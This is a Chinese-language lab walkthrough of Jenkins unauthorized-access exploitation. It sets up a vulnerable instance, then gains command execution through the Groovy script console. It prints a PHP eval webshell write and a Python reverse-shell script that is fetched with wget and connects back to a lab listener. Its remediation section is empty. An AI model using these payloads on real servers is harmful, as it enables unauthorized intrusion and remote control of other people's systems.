一、Jenkins介绍
1.1 什么是Jenkins?
Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。
1.2 Jenkins的功能
Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:
用于持续性、自动的构建/测试软件
项目监控或跑一些定时任务
监控外部调用执行的工作
1.3 Jenkins的漏洞简介及危害
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
1.4 Jenkins的漏洞成因
1、使用低版本的Jenkins,默认没有登录控制
2、有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
3、控制台使用了弱密码
4、Jenkins系统后台中可以执行系统脚本命令
二、靶场搭建
2.1 下载 Jenkins 并安装

安装JAVA环境

安装 jenkins 并启动
rpm -ivh jenkins-2.258-1.1.noarch.rpmservice jenkins start

2.2 配置 Jenkins

之后下一步:选择 安装推荐的插件

设置一个新的用户名、密码,我没设置,选择的“使用admin账户继续”

成功登录进去

2.3 配置 Jenkins 不用账号密码即可登录
vi /var/lib/jenkins/config.xml

重启 Jenkins
systemctl restart jenkins

再次访问 http://192.168.241.129:8080/ 不需要账号密码即可进管理后台

注意:
防火墙配置需要关闭防火墙或者开通8080端口,其它主机才可以访问服务器的8080端口
systemctl stop firewalld.service
三、漏洞复现
3.1 发现漏洞

3.2 漏洞利用

之后,下拉找到脚本控制台,点击脚本控制台

执行并打印系统命令
println "whoami".execute().textprintln "ifconfig".execute().text

如果知道web站点目录可写入一句话shell,例如:
new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('<?php @eval($_POST[cmd]);?>');
本案例,无WEB站点,那么通过脚本反弹shell,看看行不行

但是发现 kali 监听端并没有反弹shell

换一个思路先上传python脚本,然后利用python脚本生成一个bash反弹shell
ft.py 脚本内容:
#!/usr/bin/python# This is a Python reverse shell scriptimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.241.128",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
将 ft.py 脚本放在本地WEB服务器上,之后在 jenkins 上执行命令,去WEB服务器上下载 ft.py 到 tmp/目录下
println "wget http://192.168.241.1/ft.py -P /tmp/".execute().text

执行python脚本 ft.py
println "python3 /tmp/ft.py".execute().text

kali 成功接收到反弹的 shell

四、修复建议
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥





